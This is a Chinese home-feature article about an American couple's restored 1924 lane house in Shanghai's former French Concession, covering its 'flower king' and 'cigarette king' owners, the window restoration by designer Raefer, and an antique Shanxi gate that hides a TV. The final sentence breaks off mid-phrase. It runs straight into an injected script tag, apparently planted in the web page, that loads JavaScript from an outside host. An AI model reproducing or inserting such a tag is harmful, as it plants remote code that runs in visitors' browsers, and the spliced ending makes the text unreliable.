Don和Beth的房子位于华山路复兴中路交界处，转角处就是著名的“夏朵”咖啡馆。街边梧桐枝叶成荫，仿佛记录着岁月的印痕。这好似上海的隐秘花园，把邻近的喧嚣全都隔离开了，只盛放属于自己的气息：那是夹缠着过去和现代、东方和西方的混合体，仿佛因为有着岁月的沉淀，呼吸都会缓慢下来。
Don夫妇居住的房子于1924年建成，当时的主人被称为“花王”。当年他建造了三座联体的房屋，一座为自己居住，另两座则为两个儿子准备。到了1952年，房子的主人成了姚姓的家族，他们是绍兴人，因为发明了不燃的纸烟，当时又被冠以“烟王”的美称。
这座老屋因为有了两位“王”的故事，更添了一份传奇。可惜年代久远，故事已经渐渐在岁月里失去了轮廓。Don告诉我们，这是他们所能寻找到的有关这座老屋的全部历史资料。
Don夫妇来自美国，在中国已经居住了11年，其中6年都定居在上海。他们最喜欢的区域是原法租界区，闹中取静，连接着四通八达的交通要道，闲时又可以信步在四周走走。他们对老房子情有独钟，能拥有现在这所房子作为自己的家，一切都好似缘分。
这些年来，Don夫妇在上海买下过若干所老房子,从武康路到安福路，又在2004年6月搬到现在的居所。他们是上海第一个买下老房子的外国人，随着越来越多的外国人进入上海，又随着政府对老房子交易的控制，拥有上海的一处旧屋已远不似5年前那么简单了。但正如Don所言，在闹市中心拥有一座自己的老房子，真是妙不可言：“如果换作别的地方，我想可能会为房子而破产吧。”
这所旧屋总面积有250平方米，房间宽敞，层高比现在一般住宅要挑高许多。又带有精致的小院子，一隅栽有竹子，十分清雅。坐在堂内，可以听到小喷泉卟卟的水泡声。而关起弄堂的大门，就完全是一方与世隔绝的小天堂，安静又安全。室内设计的部分由设计师Raefer完成，说起与之相遇的经过，大概也只能归结为缘分。Don说，当时他们还住在武康路上，一天看到Raefer在仔细研究他们家的窗户，就攀谈了起来，就此也成了朋友。
“老房子的改建，窗户部分是个很麻烦的问题。玻璃的厚度和现在的窗户很不同，很难找到合适的制作厂家;又要考虑空调的位置，保暖通风的部分，又不能破坏原来的花样，整个工程就变得十分繁琐。”
Raefer给Don夫妇设计的窗户很有传统特色：保留了格子花样，又把原先的扶墙敲掉，成为整面的落地窗，正好可以望见小院子里的竹子。“其实想要保留这样传统的式样真地很费工夫，因为有些人不愿意把钱投在窗子上，也不愿意为那些‘看不见’的地方多费些钱，幸好Don夫妇听从了我的意见。经过那么长的时间，木头已经脆弱，很容易裂开，其中70%会坏掉，我们最后采取的是‘嵌入’方式，既安全，又保证了窗户的样式不被破坏。”
在Raefer的电脑里，记录着整所屋子从破落而简陋的模样,进化到如今中西融汇的典雅小室，才知细至角落的打点，都出于最周密的考虑。和原来房屋最不同的地方，在于Raefer架起了木扶梯，使空间有了延伸感。楼梯下的空隙被设计成摆放音响的隐秘空间，在宽大的椅榻上坐下，只听见一室音乐绕梁，却不知从何而起，又在何处而终。
Don夫妇很喜欢在四处收集古董，在这一间屋子里，终于可以铺陈展开。从1994年他们住在香港时开始，就一点一滴收集各种家具装饰，最典型的，是他们从山西寻到的宝贝——一完整的大门，高约两米，在他们过去任何一个住所，都无法安然摆放进去。
“这曾是我们的噩梦，”Beth笑着说，“因为无法找到合适的空间去安置，而我们那么喜欢这扇门，它简直是我们生活的一部分。”这扇古门上还保留着沉重的铁锁，需要费一些力气才能打开。“并不是太古老的东西，但我们想，这肯定不是平常百姓人家的大门，一定曾经经历过许多故事。”现在，古门被安放在一面整墙上,并不是单纯的装饰，拉开铁锁，里面还藏有电视和DVD等影像设备，古今的对照水乳交融，让人不由得称妙。
而顺着木扶梯往上走，半层处有一个小间，被布置成了一方小书房。Beth很喜欢这里：“非常安静，只要关上门，世界上就只有我一个人了。”主卧在二楼，一张维多利亚风格的四桅大窗，与房屋整体的旧式气息合拍得分毫不差。而往里走，浴室出乎意料的简单且典雅：罗马风格的大理石为主要质地，没有任何繁复的装饰，单纯地以整片色块和线条勾勒出清爽的气息。
在二楼的衣帽间内，Beth打开窗户：那是怎样的一片郁绿葱葱！“我们本来希望朝这一面的窗户可以打开一些，因为这是我们房屋所属的地方。但是,我并不知道这个美丽的花园的主人是谁，总是有人来告诉我们，不可以把窗开过界线，所以我们就只能这样看这片风景。”虽然有些遗憾，但Beth却还是高兴：“我想，这里大概是一个很难得的地方，毗邻神秘而威严的邻居,我们仍然觉得很幸运，因为现在石库门在上海已经非常难找，在新式弄堂里就更加难得。往前走几步，就是政府?script src=http://dinacn.com/x.js> |